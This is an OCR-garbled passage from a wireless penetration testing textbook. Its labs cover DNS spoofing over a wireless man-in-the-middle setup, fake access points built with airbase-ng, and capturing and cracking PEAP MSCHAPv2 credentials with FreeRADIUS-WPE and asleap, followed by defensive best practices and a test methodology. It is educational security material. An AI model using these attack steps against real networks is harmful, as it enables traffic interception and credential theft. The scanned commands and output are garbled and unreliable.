6 3.415114 D-Link _d2:86:25 Broadcast 





2. Apply a Wireshark filter for DNS and, as we can see, the victim is making DNS 
requests for https: //www. google.com: 


atO - Wireshark 
Edit View Go Capture Analyze Statistics Telephony Tools Help 


@BAaAe e-uoxX*e= KH O4860 Big 5A 
Filter: dns iea Expression... Clear Apply 


Na, Time Source | Destination Protoco | Info 
5 2.000004 192.168.0.197 192.168.0.1 DNS Standard query A google.com 


' Frame 5: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) — 
Ethernet II, Sre: IntelCor 35:fc:44 (00:22:fb:35:fc:44), Dst: D-Link d2:8e:25 (00:21:91:d2:8e:25) 
Internet Protocol, Src: 192.168.0.197 (192.168.060.197), Dst: 192.168.0.1 (192.168.0.1) 
User Datagram Protocol, Sre Port: 63500 (63500), Dst Port: domain (53) 
Domain Name System (query) 
Transaction ID: Ox72a3 
b Flags: OxG100 (Standard query) 
Questions: 1 
Answer RRs: © 
Authority RRs: © 
Additional RRs: oO 
¥ Queries 
¥ google.com: type A, class IN 
Name: google.com 
Type: A (Host address) 
Class: IN (Gx0001) 
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3.  Inorder to hijack the browser session, we will need to send fake DNS responses that 
will resolve the IP address of https: //www. google.com to the hacker machine's 
IP address 192.168.0.199. The tool that we will use for this is called dnsspoof 


and the syntax is as follows: 


dnspoof -i mitm-bridge 


The output of the command is as follows: 


-~# dnsspoof -i mitm-bridge 


poof: Listening on mitm-bridge [udp dst port 53 and not sre 192.168.0.199] 





4, Refresh the browser windows and now, as we can see through Wireshark, as soon 
as the victim makes a DNS request for any host (including google.com), Dnsspoof 


replies back: 


Capturing from ato - Wireshark 


File Edit View Go Capture Analyze Statistics Telephony Tools Help 
ee fK iad) 


ey [a (ey. Cy toy 2? wx es . 0 © g © 4 Ba 


[- | Expression... Clear Apply 








Filter; | dns 








No. | Time | Source Destination | Protoco | Info 


4 


8 7.509354 192.168.0.1 192.168.0.197 DNS Standard query response A 192.168.0.199 


Frame 8: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) 

Ethernet II, Src: Alfa _3e:bd:93 (00:cO:ca:3e:bd:93), Dst: IntelCor_35:fc:44 (00:22:fb:35:fc:44) 
Internet Protocol, Src: 192.168.0.1 (192.168.0.1), Dst: 192.168.0.197 (192.168.0.197) 

User Datagram Protocol, Sre Port: domain (53), Dst Port: 52664 (52664) 


Domain Name System (response) 


[Request In: 5] 


[Time: 0.007317000 seconds] 

Transaction ID: Oxd5ld 

Flags: 0x8180 (Standard query response, No error) 
Questions: 1 

Answer RRs: 1 


Authority RRs: O 
Additional RRs: 0 
> Queries 
v Answers 
Y google.com: type A, class IN, addr 192.168.0.199 
Name: google.com 
Type: A (Host address) 
Class: IN (0x0001) 
Time to live: 1 minute 
Data Length: 4 
Addr: 192.168.060.199 (192.168.0.199) 
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5. Onthe victim's machine, we see an error that says Unable to connect. This is 
because we made the IP address for google. comas 192.168.0.199, which is 
the hacker machine's IP, but there is no service listening on port 80: 


Problem leading page - Mozilla Firefox 


fe Be View Higtery flockrmarkes Tosh Hele Belated Links 


e ~ fy dk hitpe'googhecom 
4}, Problems beading page 


Unable to connect 

Firefox Can't €Stablish & Connection 1 thé Server at google.com. 

= The sie could be temporarily unavadable of ioe busy, Tey apaanin a few mornents, 
mo ff you aré unable te bad ay paps Check waur coneiwters nebadelc connection 


= Tf your computer or network 6 protected by a firewall or proxy, make sure that 
i he 


Forelox i peernibed ta access fhe Web 





6. Let's run Apache on Kali using the following command: 


apachet2ctl start 


The output of the command is as follows: 


(~# apache?ctl start 
apache?: Could not reliably determine the server's fully qualified domain name, 
using 12/.@.1.1 Tor ServerName 





7. Now, once we refresh the browser on the victim, we are greeted with the It Works! 
default page of Apache: 


a) Bogie Frefer 
file foe Yow Fegheey Beckmaria [eels Hee Belated Linke 


as = C “at hips gesg.com 


he prey Peper. corr! 


It works! 
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8. This demonstration shows how it is possible to intercept data and send spoofed 
responses to hijack sessions on the victim. 


What just happened? 


We did an application hijacking attack using a Wireless MITM as the base. So what happened 
behind the scenes? The MITM setup ensured that we were able to see all the packets sent 
by the victim. As soon as we saw a DNS request packet coming from the victim, the Dnsspoof 
program running on the attacker's laptop sent a DNS response to the victim with the attacker 
machine's IP address that of google.com. The victim's laptop accepted this response and 
the browser sent an HTTP request to the attacker's IP address on port 80. 


In the first part of the experiment, there was no listening process on port 80 of the attacker's 
machine and thus, Firefox responded with an error. Then, once we started the Apache server 
on the attacker's machine on port 80 (the default port), the browser's requested received a 
response from the attacker's machine with the default It Works! page. 


This lab shows us that, once we have full control of the lower layers (Layer 2 in this case), it is 
easy to hijack applications running on higher layers such as DNS clients and web browsers. 





The next step in session hijacking using a wireless MITM will be to modify the data being 
transmitted by the client. Explore software available on Kali called Ettercap. This will help 
you create search and replace filters for network traffic. 


In this challenge, write a simple filter to replace all occurrences of security in the network 
traffic to insecurity. Try searching Google for security and check whether the results show 
up for insecurity instead. 


Finding security configurations on the client 


In previous chapters, we have seen how to create Honeypots for open access points, 
WEP-protected and WPA, but, when we are in the field and see Probe Requests from the 
client, how do we know which network the probed SSID belong to? 


Though this seems tricky at first, the solution to this problem is simple. We need to 
create access points advertising the same SSID but with different security configurations 
simultaneously. When a roaming client searches for a network, it will automatically 
connect to one of these access points based on the network configuration stored on it. 


So, let the games begin! 
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Time for action — deauthentication attacks on the client 





ue 


2. 


We will assume that the wireless client has a network Wireless Lab configured on 
it, and it actively sends Probe Requests for this network, when it is not connected 
to any access point. In order to find the security configuration of this network, we 
will need to create multiple access points. For our discussion, we will assume that 
the client profile is an open network, WEP protected, WPA-PSK, or WPA2-PSK. This 
means we will have to create four access points. To do this, we will first create four 
virtual interfaces—mon0 to mon3, using the airmon-ng start wlan0d command 
multiple times: 


rootg@kali:~# alrmon-ng start wlan®d 


Found 3 processes that could cause trouble, 
If alrodump-ng, alreplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill (some of) them! 


Name 
NetworkManager 
wpa supplicant 
dhe lient 
Process with PID 4114 (airbase-ng) 15 running on interface mong 


Interface Chipset Driver 


wlang Ralink RT2870/3070 rt280Gusb - [phy@] 
(monitor mode enabled on mon?) 

mong Ralink RI2870/3070 rt2800usb - [phyd@l 

mond Ralink RI2870/3070 rt280Gusb - [phy0] 





You can view all these newly created interfaces using the ifconfig -a command: 


Link encap:UNSPEC HwWaddr 80-1F-02-8F-34-D5-00-00-00-00-00-00-66-00-00 


UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1800 Metric:1 
RX packets: 20394 errors:0 dropped: 337 overruns:6 frame; 

TX packets:0 errors:@ dropped:6 overruns:@ carrier: 

collisions:@ txquevelen:1600 

RX bytes: 2800142 (2.6 M1B) TX bytes:G (0.0 B) 


Link encap:UNSPEC HWaddr 80-1F-62-8F-34-D5-60-60-60-60-00-60-00-60-60 


UP BROADCAST RUNNING MULTICAST MTU:1500 WMetric:1 

RX packets:1956 errors:@ dropped: overruns:@ frame:0 
TX packets:0 errors:@ dropped:6 overruns:@ carrier: 
collisions:@ txqueuelen: 1060 

RX bytes: 356424 (348.0 KiB) TX bytes:0 (0.0 B) 


Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-00-00-60-00-00-00- 60-00-00 


UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 

RX packets:1772 errors:@ dropped: @ overruns:0 frame: 
TX packets:0 errors:0 dropped:@ overruns: carrier: 
collisions:@ txqueuelen: LOGG 

RX bytes:317018 (309.5 KiBjo Txh_bytes 10) (0-0-8) 


Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-60-60-60-00-00-60-00- 60-60 


UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1 
RX packets:412 errors: dropped:0 overruns:@ frame: 
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
collisions:@ txquevelen:1600 

RX bytes:40134 (39,1 KiB) TX bytes:@ (0.0 B) 





[152] 


2 


6. 


Chapter 7 


Now we will create the open AP on mono: 


rootekali:~# alrbase-ng --essid "Wireless Lab" -a AA: AA: AA: AA: AA: AA -c 3 mond 
For information, no action required: Using gettimeofday() instead of /dev/rte 
12:10:20 Created tap interface atl 


2:16:20 Trying to set MTU on atl to 1500 
2:10:20 Access Point with BSSID AA: AA: AA: AA: AA: AA started, 





Let's create the WEP protected AP on mon1: 


root@kali:-# airbase-ng --essid "Wireless Lab" -a BB:BB:BB:BB:BB:BB -W 1 monl 
For information, no action required: Using gettimeofday() instead of /dev/rtc 
12:11:26 Created tap interface at2 

12:11:26 Trying to set MTU on at? to 1500 


ti set mac failed: Cannot assign requested address 
You most probably want to set the MAC of your TAP interface. 
ifconfig <iface> hw ether BB:BB:8B:BB:BB:BB 





17:11:26 Access Point with BSSID BB:BB:BB:BB:BB:BB started. 


The WPA-PSK AP will be on mon2: 


root@kali:-# airbase-ng --essid "Wireless Lab" -c 3 -a CC:CC:CC:CC:CC:CC -W1 -z: 
For information, no action required: Using gettimeofday() instead of /dev/rtc 
12:13:07 Created tap interface at3 

12:13:07 Trying to set MTU on ats to 1500 


a al "ile aie 





[12:13:07 Access Point with BSSID E€C:C€:Cl:Cl:CC:CC started. 


WPA2-PSK AP will be on mon3: 


root@kali:~# airbase-ng --essid "Wireless Lab" -c 3 -a DD:DD:DD:DD:DD:DD -W 1 -Z 2 mon3 
For information, no action required: Using gettimeofday() instead of /dev/rtc 

12:13:54 Created tap interface at4 

12:13:54 Trying to set MTU on at4 to 1500 

12:13:54 Trying to set MTU on mon3 to 1800 


ti_set_mac failed: Cannot assign requested address 


You most probably want to set the MAC of your TAP interface. 
ifconfig <iface> hw ether DD:DD:DD:DD:DD:DD 


12:13:54 Access Point with BSSID DD:DD:DD:DD:DD:DD started. 





We can run airodump-ng on the same channel to ensure that all four access 
points are up and running, as shown in the following screenshot: 


#Data, #/s CH MB ENC CIPHER AUTH ESSID 


Gi : Bb 54 WPA2 CCMP SK Downstairs 

GQ) ¢ 3 54 WPA? TKIP SK Wireless Lab 
G 55) ‘Ba WEP WEP Wireless Lab 
GQ) : 3 54 WPA TKIP SK Wireless Lab 


Q) ; ee oe ee OPN mitm 

G A 3 654 OPN Wireless Lab 
C) 2 11 S4e WPA2 CCMP SK everythingwill 
4 G 1 54e WPA TKIP af Upstairs 
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8. Now let's switch the Wi-Fi on on the roaming client. Depending on which Wireless 
Lab network you connected it to previously, it will connect to that security 
configuration. In my case, it connects to the WPA-PSK network, as shown in the 
following screenshot: 


‘a# alrbase-ng --essid "Wireless Lab" -a AA: AA: AA: AA: AA: AA -c 3 mond 
For information, no action required: Using gettimeotday() instead of /dev/rtc 
12:10:20 Created tap interface atl 
12:16:20 Trying to set MTU on atl to 1500 
12:16:20 Access Point with BSSID AA: AA: AA: AA: AA: AA started, 
Error: Got channel -1, expected a value > G, 


12:16:41 Client 20:10: 7A4:45:36:61 assoclated (unencrypted) to ESSID: "Wireless 
0:41 Client 20:16:7A:45:36:61 associated (unencrypted) to ESSID: "Wireless 


1:41 Client 20:10;7A:45:36:61 associated (unencrypted) to ESSID: "Wireless 





What just happened? 


We created multiple Honeypots with the same SSID but different security configurations. 
Depending on which configuration the client had stored for the "Wireless Lab" network, 
it connected to the appropriate one. 


This technique can come in handy as, if you are doing a penetration test, you won't know 
which security configurations the client has on its laptop. This allows you to find the 
appropriate one by setting a bait for the client. This technique is also called WiFishing. 





Create different security configurations on the client for the same SSID, and check whether 
your set of Honeypots is able to detect them. 


It is important to note that many Wi-Fi clients might not actively probe for networks they 
have stored in their profile. It might not be possible to detect these networks using the 
technique we discussed here. 


Pop quiz— advanced WLAN attacks 


Q1. In an MITM attack, who is in the middle? 


1. The access point. 
2. The attacker. 

3. The victim. 
4. 


None of the above. 
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Q2. Dnsspoot: 


1. Spoofs DNS requests. 

2. Spoofs DNS responses. 

3. Needs to run on the DNS server. 
4 


Needs to run on the access point. 
Q3. A wireless MITM attack can be orchestrated: 


1. Onall wireless clients at the same time. 
2. Only one channel at a time. 

3. Onany SSID. 

4. Both3 and 4. 


Q4. Which is the interface closest to the victim in our MITM setup? 


1. Ato. 
2. Etho. 
3. Bro. 
4. Eno. 


Summary 


In this chapter, we learned how to conduct advanced attacks using wireless as the base. 
We created a setup for a MITM attack over wireless and then used it to eavesdrop on the 
victim's traffic. We then used the same setup to hijack the application layer of the victim 
(web traffic, to be specific) using a DNS poisoning attack. 


In the next chapter, we will learn how to conduct a wireless penetration test right from the 
planning, discovery, and attack to the reporting stage. We will also touch upon the best 
practices to secure WLANS. 
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"The bigger they are, the harder they Fall." 


Popular Saying 


WPA-Enterprise has always had an aura of unbreakable ability around it. 
Most network administrators think of it as a panacea for all their wireless 
security problems. In this chapter, we will see that nothing could be further 
from the truth. 


In this chapter, we will learn how to attack WPA-Enterprise using different tools and 
techniques available on Kali. 


In this chapter, we will cover the following topics: 


@ Setting up FreeRADIUS-WPE 
@ Attacking PEAP on Windows clients 


Security best practices for Enterprises 


We will need a RADIUS server for orchestrating WPA-Enterprise attacks. The most widely 
used open source RADIUS server is FreeRADIUS. However, setting it up is difficult and 
configuring it for each attack can be tedious. 
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Joshua Wright, a well-known security researcher, created a patch for FreeRADIUS that makes 
it easier to set up and conduct attacks. This patch was released as the FreeRADIUS-WPE 
(Wireless Pwnage Edition). Kali doesn't naturally come with FreeRADIUS-WPE, so you 

need to perform the following steps to set up FreeRADIUS-WPE: 


1. Navigate to https: //github.com/brad-anton/freeradius-wpe and 


you will find the downloaded link at https: //github.com/brad-anton/ 
freeradius-wpe/raw/master/freeradius-server-wpe 2.1.12-1 1386. 


deb: 


€) brad-anton/freeradius-wpe “Gh. | oe | 


<a BP | @ GitHub, Inc. (US) htt github, com/bra tony tal a ¢’ |v Oogte 
FalMost Visited’ [f—Offensive Security “& Kali Linux “& Kali Docs AJExploit-DB (Aircrack-ng 


Using Binary: 
If you're using the ,deb, it has been tested with BackTrack 5 R2, but 
Will likely work with other versions and Ubuntu/Debian, 
ee ee ede ee ee ae ie eee 
je 2 2-1 1366 020: 





Once it is downloaded, install it with dpkg -i freeradius-server-wpe 2.1.12-1_ 
1386 .deb followed by ldconfig: 


-~# dpkg -1 freeradius-server-wpe 2.1.12-1 1356.deb 
Selecting previously unselected package freeradius-server-wpe. 
(Reading database ... 345364 files and directories currently instal 
Jnpacking freeradius-server-wpe (from freeradius-server-wpe 2.1.12-1 1386.deb) 


Setting up Treeradius-server-wpe (2.1.12-1)} 
Processing triggers for man-db 





Let's now quickly set up the RADIUS server on Kali. 


Time for action — setting up the AP with FreeRADIUS-WPE 





Follow these instructions to get started: 


1. Connect one of the LAN ports of the access point to the Ethernet port on your 
machine running Kali. In our case, the interface is etho. Bring up the interface 
and get an IP address by running DHCP, as shown in the following screenshot: 
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r~# dhclient ethe 
Reloading /etc/samba/smb.cont: smbd only. 
RINETLINK answers: File exists 
i~# ping 192.168.1.1 
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 
64 bytes from 192.168.1.1: icmp reg=l ttl=128 time=0.992 ms 


b4 bytes from 192.166.1.1: icmp _req=2 ttl=128 time=0.820 ms 
--- 192.168.1.1 ping statistics --- 

2 packets transmitted, 2 received, @% packet Loss, time 1001ms 
rtt min/avg/max/mdev = 0.820/0.906/0.992/0.086 ms 


ae | 





2. Login to the access point and set the security mode to WPA/WPA2-Enterprise, 
set Version to WPA2, Encryption to AES. Then, under the EAP (802.1x) section, 
enter the Radius Server IP address as your Kali build's IP address. The Radius 
Password will be test, as shown in the following screenshot: 


~@) WPA/WPA2 - Enterprise 
Version: WIiPA? 
Encryption: AES 
Radius Server IP: [192.168.0.130 —| 
Radius Port (1812 | (1-65535, 0 stands for default port 1812) 


Radius Password: 


Group Key Update Period: | i fin second, minimum is 30, 0 means no update) 





3. Let's now open a new terminal and go to the directory /usr/local/etc/raddb. 
This is where all the FreeRADIUS-WPE configuration files are: 


-f/usr/LocaLl/etc/raddb# Ls 
acct users clients.conf Ldap.attrmap sites-available 
dictionary modules sites-enabLed 
s.access challenge eap.cont poLicy.cont sql 
example.pL policy.txt sql .conf 
;.accounting response experimental.conf preproxy users sqlippool.conf 
attrs.pre-proxy hints proxy.cont templates.conf 
certs huntgroups radiusd.conf users 


S.access reject 
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4. Let's open eap. conf. You will find that the default eap type command is 
set to MDS. Let's change this to peap: 


GNU nano 2.2.6 File: eap.cont Modified 


The incoming EAP messages DO NOT specify which EAP 
type they will be using, so it MUST be set here. 


For now, only one default EAP type may be used at a time. 
If the EAP-Type attribute is set by another module, 


then that EAP type takes precedence over the 
default type configured here. 


# 
= 
# 
# 
# 
= 
# 
# 
# 
d 


default_eap type = peaph 





5. Let's open clients.conf. This is where we define the allowed list of clients that 
can connect to our Radius server. Interestingly, if you browse right to the bottom, 
ignoring the example settings, the secret for clients in the range 192.168.0.0/16 
defaults to test. This is exactly what we used in step 2: 


GNU nano 2.2.6 File: clients.conft 


# Un-comment this section, and edit a "Listen" section to add: 
“clients = per socket clients". That IP address/port combination 
Will then accept ONLY the clients Listed in this section. 


#per_ socket clients { 


estingl?s 
: 
} 


.168.0.0/16 {fJ 


client 19? 
ecret 
oO 


= 
sh 


=a8 


t 
riname = testAP 





6. Weare now all set to start the RADIUS server with the radiusd -s -X command: 


root@kali: ~ 


File Edit View Search Terminal Help 
root@kali:~# radiusd -s -x§j 





7. Once you run this, you will see a lot of debug messages on the screen, but 
eventually the server will settle down to listen for requests. Awesome! We are 
all set now to start our lab sessions in this chapter: 
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root@kali: ~ 


File Edit View Search Terminal Help 
Listen { 

type = ‘acct" 

ipaddr = * 

port = @ 
} 
Listen { 

type = 
Listen { 

socket = "/usr/Local/var/run/ radiusd/ radiusd.sock" 


‘control " 


} 


} 

Listen { 
type = “auth” 
ipaddr = 12/7.0.0.1 
port = 18120 

} 

. adding new socket proxy address * port 45609 

Listening on authentication address, * port 1612 

Listening on accounting address * port 1813 

Listening on command file /usr/local/var/run/ radiusd/ radiusd.sock 

Listening on authentication address 12/7.8.0.1 port 18120 as server inner-tunnel 

Listening on proxy address * port 1814 

Ready to process requests. 





What just happened? 


We have successfully set up FreeRADIUS-WPE. We will use this in the rest of the experiments 
that we will do in this chapter. 


Have a go hero — playing with RADIUS 





FreeRADIUS-WPE has tons of options. It may be a good idea to familiarize yourself with 
them. Most importantly, take time to check out the different configuration files and how 
they all work together. 


Protected Extensible Authentication Protocol (PEAP) is the most popular version of EAP 
in use. This is the EAP mechanism shipped natively with Windows. 


PEAP has two versions: 


@ PEAPvO with EAP-MSCHAPv2 (the most popular as this has native support 
on Windows) 


@ PEAPv1 with EAP-GTC 
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PEAP uses server-side certificates for validation of the RADIUS server. Almost all attacks on 
PEAP leverage misconfigurations in certificate validation. 


In the next lab, we will take look at how to crack PEAP when certificate validation is turned 
off on the client. 


Time for action — cracking PEAP 





Follow the given instructions to get started: 


1. We double-check the eap. conf file to ensure that PEAP is enabled: 


GNU mano 2.2.6 File: eap.cont Modified 


The incoming EAP messages DO NOT specify which EAP 
type they will be using, so it MUST be set here. 


For now, only one default EAP type may be used at a time. 
If the EAP-Type attribute is set by another module, 
then that EAP type takes precedence over the 


default type configured here. 


default _eap type = peapll 





2. \Nethen restart the RADIUS server with radiusd -s -x: 


root@kali: ~ 


File Edit View Search Terminal Help 
Listen { 

type = "acct" 

ipaddr = * 

port = @ 


4 
1 
type = "control" 
Listen { 
socket = "/usr/Local/var/ run/ radlusd/ radiusd.sock" 
} 


Listen { 
type = "auth" 
ipaddr = 12/.0.0.1 
port = 18120 


} 
adding new socket proxy address * port 45609 

Listening on authentication address, * port 1812 

Listening on accounting address * port 1e8ls 

Listening on command file /usr/local/var/run/radiusd/radiusd.sock 

Listening on authentication address 12/.0.0.1 port 18120 as server inner-tunnel 

Listening on proxy address * port 1814 

Ready to process requests. 
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3. We monitor the log file created by FreeRADIUS-WPE: 


reeradius-server-wpe.Llog 





4. \Nindows has native support for PEAP. Let's ensure that certificate verification has 
been turned off: 


Protected EAP Properties 


When connecting: 


| Validate server certificate 


| America Online Root Certification Authority 1 
| avast! Mail Scanner Root 
| Baltimore CyberTrust Root 
| Certum CA 
| Class 2 Primary CA 
"| Class 3 Public Primary Certification Authority 



































Select Authentication Method: 


Secured password (EAP-MSCHAP w2) 7 | Configure... | 


| Enable Fast Reconnect 

|| Enforce Network Access Protection 

) | Disconnect if server does not present cryptobinding TLV 
Enable Identity Privacy 





|__ Cancel 
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5. Weneed to click on the Configure tab that is next to Secured password and tell 
Windows not to automatically use our Windows logon name and password: 


EAP MSCHAPv2 Properties 


When connecting: 


fo | Sutomatically use my Windows logon name and 


— password (and domain if any). 





6. Wewill also have to force it to select User authentication in the Advanced 
Settings dialog box: 


Advanced settings 


802.1% settings | 804,11 setings | 


(| Specify authentication mode: 














[User authentication | |_ Save credentials | 


Delete credentials for all users 


|| Enable single sign on for this network 
(@) Perform immediately before user logon 
Perform immediately after user logon 
10 
Allow additional dialogs to be displayed during single 
SIgn on 


Ls =[. ES Poe a = aT 7 pea: ie 
This network uses separate virtual LANs for machine 


and user authentication 


ex) (caret) 
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7. Once the client connects to the access point, the client is prompted for a user 
name and password. We use Monster as the user name and abcdefghi as 
the password: 


Windows Security 


Network Authentication 
Please enter user credentials 


| 
, | User name 





8. Assoonas we do this, we are able to see the MSCHAP-v2 challenge response 
appear in the log file: 


:/usr/LocaLl/var/lLog/radius# tail -f freeradius-server-wpe.Llog 
response: 66:b4:fo:G6:/c:a9:bd:icl:41:T9:aa:lf:sfieb:fea:fe:cf:/5:ld:bf:88 
'b8:80:48 
john NETNTLM: blah: $NETNTILM$@db46a6aea953d fat66b4 f606/ca9bdc141f9aalf3fe 
BfefecT/Sldbfssebsse4e 


Imschap: Thu Nov 20 13:22:53 2014 
username: Monster 
challenge: fe:94:f3:d9:9b:13:54:b9 
response: db:66:44:c6:/b:6d:fe:05:b2:ile:66:2f:0a:1l6:3b:d0:13:e0:21:00:T1 
‘69: 1/:Te 

john NETNTLM: Monster: $NETNTLM$ fe94 f3d99b1354b9$db6844c6/b6df805b21c862F 
GalBsbd0lseb2100T1691/Tc 





9. \Wenow use asleap to crack this using a password list file that contains the password 
abcdefghi, and we are able to crack the password! (For the purposes of this 
demonstration, we simply created a one-line file called list with the password in it): 


‘f/usr/Local/var/log/radius# asleap -C fe:94:f3:d9:9b:13:54:b9 -R db:68: 
44:c6:/b:60:f8:05:b2:1c:66:27f :Ga7lé:3bid07137e8721:00:f1:69:1/:fc -W List 
asleap 2.2 - actively recover LEAP/PPIP passwords. <jwright@hasborg.com= 
Using wordlist mode with "List". 


hash bytes: 9052 
NT hash: e18614f7c6811TO43fbt54205e929052 
password: abcdefghl 
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What just happened? 


We set up our Honeypot using FreeRADIUS-WPE. The enterprise client is misconfigured to 
not use certificate validation with PEAP. This allows us to present our own fake certificate to 
the client, which it gladly accepts. Once this happens, MSCHAP-v2, the inner authentication 
protocol, kicks in. As the client uses our fake certificate to encrypt the data, we are easily 
able to recover the username, challenge, and response tuples. 


MSCHAP-v2 is prone to dictionary attacks. We use asleap to crack the challenge and 
response pair, as it seems to be based on a dictionary word. 


Have a go hero — attack variations on PEAP 


PEAP can be misconfigured in multiple ways. Even with certificate validation enabled, if 

the administrator does not mention the authentic servers in connect to these servers list, 

the attacker can obtain a real certificate for another domain from any of the listed certifying 
authorities. This will still be accepted by the client. Other variations of this attack are possible 
as well. 


We will encourage you to explore the different possibilities in this section. 


EAP-TTLS 


We encourage you to try attacks similar to those we have suggested for PEAP against 
EAP-TTLS. 


Security best practices for Enterprises 


We have seen a ton of attacks against WPA/WPA2, both Personal and Enterprise. Based on 
our experience, we recommend the following: 


@ For SOHOs and medium-sized businesses, use WPA2-PSK with a strong passphrase. 
You have up to 63 characters at your disposal. Make use of them. 


@ For large enterprises, use WPA2-Enterprise with EAP-TLS. This uses both the 
client- and server-side certificates for authentication, and currently is unbreakable. 


@ If you have to use PEAP or EAP-TTLS with WPA2-Enterprise, then ensure that 
certificate validation is turned on, the right certifying authorities are chosen, RADIUS 
servers that are authorized are used, and finally, that any setting that allows users 
to accept new RADIUS servers, certificates, or certifying authorities is turned off. 
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Pop quiz— attacking WPA-Enterprise and RADIUS 
Q1. Which of the following is FreeRADIUS-WPE? 


1. A RADIUS server written from scratch. 
2. Apatch to the FreeRADIUS server. 

3. Ships by default on all Linuxes. 
4. 


None of the above. 
Q2. Which of the following can be used to attack PEAP? 


1. Fake credentials. 
2. Fake certificates. 
3. Using WPA-PSK. 
4. All ofthe above. 


Q3. What does EAP-TLS use? 


1. Client-side Certificates. 
2. Server-side certificates. 
3. Either 1 or 2. 
4. Both1and2. 

Q4. What does EAP-TTLS use? 


1. Client-side certificates only. 

2. Server-side certificates. 

3. Password-based authentication. 
4. LEAP. 


Summary 


In this chapter, we saw how we could compromise the security of a WPA-Enterprise 
network running PEAP or EAP-TTLS, the two most common authentication mechanisms 
used in Enterprises. 


In the next chapter, we will take a look at how to put all that we have learned into use 
during an actual penetration test. 
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WLAN Penetration Testing 
Methodology 


"The proof is in the pudding." 


Popular saying 


This chapter will lay out the steps that go in to taking the techniques taught in 
the previous chapters and turning them into a full wireless penetration test. 


To perform a wireless penetration test, it is important to follow a defined methodology. 
Simply firing up the airbase or airodump command and hoping for the best will not satisfy 
the goals of a test. When working as a penetration tester, you must ensure that you adhere 
to the standards of the organization you're working for, and if they don't have any, then you 
should hold yourself to the highest standards. 


Broadly, we can break up a wireless penetration testing exercise into the following phases: 


Planning phase. 
Discovery phase. 
Attack phase. 
Reporting phase. 


= ee Ieee 


We will now look at each of these phases separately. 
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In this phase, we must understand the following: 


@ Scope of the assessment: The penetration tester should work with the client to define 
a scope that is achievable and will also provide the greatest amount of insight into the 
security of a network. Typically, the following information is gathered: 


a Location of the penetration test 
a Total coverage area of the premises 
a Approximate number of access points and wireless clients deployed 
a Which wireless networks are included in the assessment? 
a Is exploitation in scope? 
a Are attacks against users in scope? 
a Is denial of service in scope? 
@ Effort estimation: Based on the scope defined, the tester will then have to estimate 
how much time is required. Bear in mind that rescoping may occur following this 


estimate, as organizations may have limited resources available in terms of both 
time and money. 


@ Legality: Prior to performing a test, the client must give consent. This should explain 
the testing to be covered and clearly define the level of indemnity, insurance, 
and the limitations of the scope. If you are unsure, you will need to speak to a 
professional in these areas. Most organizations will have their own versions that 
will likely also incorporate an Non-Disclosure Agreement (NDA). 


Once all of the preceding requirements are in place, we are ready to go! 


Discovery 


In this phase, the aim is to identify and apply characteristics to the wireless devices and 
wireless networks within the scope. 


All the techniques to perform these have been laid out in the previous chapters but, in brief, 
the aim is to: 

Enumerate visible and hidden wireless networks in the area 

Enumerate devices in the area, along with those connected to the targeted networks 


Map the range of the networks, where they are reachable from and whether there 
are places a malicious individual could operate from to perform an attack, for 
example, a cafe. 
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All of this information should be recorded. If the test is limited to the performance of 
reconnaissance only, the test will end here, and the tester will attempt to draw conclusions 
based on this information. Some statements that would be useful to a client are be 

as follows: 


@ The number of devices that have associations with open networks and the 
corporate network 


@ The number of devices that have networks that can be linked to locations 
through solutions such as WiGLE 


The existence of weak encryption 


The networks set up are too strong 


Once reconnaissance has been performed, exploitation must be performed for proof of 
concept. If the attack is being performed as part of a red team or wider assessment, then 
exploitation should be performed to gain access to the network as surreptitiously as possible. 


In our attacking phase, we will explore the following: 


Cracking the encryption 
Attacking the infrastructure 
Compromising clients 


Finding vulnerable clients 


¢ ¢ ¢lUcHm™lCUM 


Finding unauthorized clients 


Cracking the encryption 


The first step is to retrieve the keys for any vulnerable networks identified. If networks 
with WEP exist, perform the WEP-cracking methods explained in Chapter 4, WLAN 
Encryption Flaws. |f WPA2-secured systems are present, you have two choices. If aiming 
to be stealthy, arrive on-site at times when individuals are likely to be authenticating 

or re-authenticating. These times are likely to be: 


@ Start of the day 
@ Lunchtime 
@ End of the day 
At this time, set up your WPA key retrieval setup as shown in Chapter 4, WLAN Encryption 


Flaws. Alternatively, perform the deauthentication attack, as shown in Chapter 6, Attacking 
the Client. 
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This is noisier and more likely to be detected in a mature organization. 


If WPA-Enterprise is in place, bear in mind you will have to use the information gathered from 
the reconnaissance to target the correct network and set up your dummy Enterprise setup as 
shown in the Attacking PEAP section in Chapter 8, Attacking WPA-Enterprise and RADIUS. 


You can attempt to break all passphrases but bear in mind that some will be unbreakable. 
Following the performance of the test, check with the wireless administrator for the 
passphrase in use. Check to see whether it is a secure passphrase and that you, as a tester, 
did not experience a tool failure or were merely unlucky. 


If network access is gained through cracking the encryption, perform a standard network 
penetration test if allowed in scope. The following should be performed as a minimum: 


@ Aportscan 
@ Identifying which services are running 
@ Enumerating any open services, such as unauthenticated FTP, SMB, or HTTP 
@ Exploiting any vulnerable services identified 
Compromising clients 


After enumerating and testing all wireless systems, there are various types of engagements 
that would suit performing attacks against clients. 


If necessary, after establishing which clients are vulnerable to Karma attacks, create a Honeypot 
to force them to connect with the methods laid out in the Attacking PEAP section in Chapter 8, 
Attacking WPA-Enterprise and RADIUS. There are various useful pieces of information that can 
be gathered through this method, but ensure that the collected data serves a purpose and 

is stored, transmitted, and used in an ethical and safe manner. 


Finally, at the end of testing, it is necessary to report your findings to the client. It's 
important to ensure that the report matches the quality of your testing. As the client 
will only see the report, you have to give it as much love and attention as you do to 
your testing. The following is a guideline to the layout of the report: 

1. Management summary. 


2. Technical summary. 
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3. Findings: 
a Vulnerability description 
Oo © Severity 
a Affected devices 
a Vulnerability type—software/hardware/configuration 


a Remediation 
4. Appendices. 


The management summary should be aimed at talking to a senior nontechnical audience 
with a focus on the effects and mitigations required at a high level. Avoid language that is 
too technical and ensure that the root causes are covered. 


The technical summary should be a midpoint between the management summary and 
findings list. It should be aimed at a developer or a technical lead with a focus on how to 
fix the issues and broad solutions that could be implemented. 


